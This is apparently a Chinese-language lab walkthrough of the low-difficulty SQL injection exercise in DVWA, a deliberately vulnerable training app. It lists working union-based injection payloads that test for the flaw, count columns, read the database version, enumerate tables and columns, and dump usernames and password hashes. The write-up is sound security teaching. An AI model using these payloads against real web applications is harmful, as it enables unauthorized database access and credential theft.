dvwa闯关——low级SQL
sql注入:攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
一、判断是否存在注入点:
1.1;正常

2.1‘;加上一个单引号报错
![]()
3.1’ and '1'='1;正常

说明存在注入点
二、判断字段数
1.1' order by 2#

2.1' order by 3#;到3就报错了,说明只有两个字段

三、确定回显位置
1' union select 1,2#

四、查询当前数据库和版本
1' union select version(),database()#

五、获取数据库中的表
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

六、获取users表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

七、获取表中的一些数据
1' union select user,password from users#


浙公网安备 33010602011771号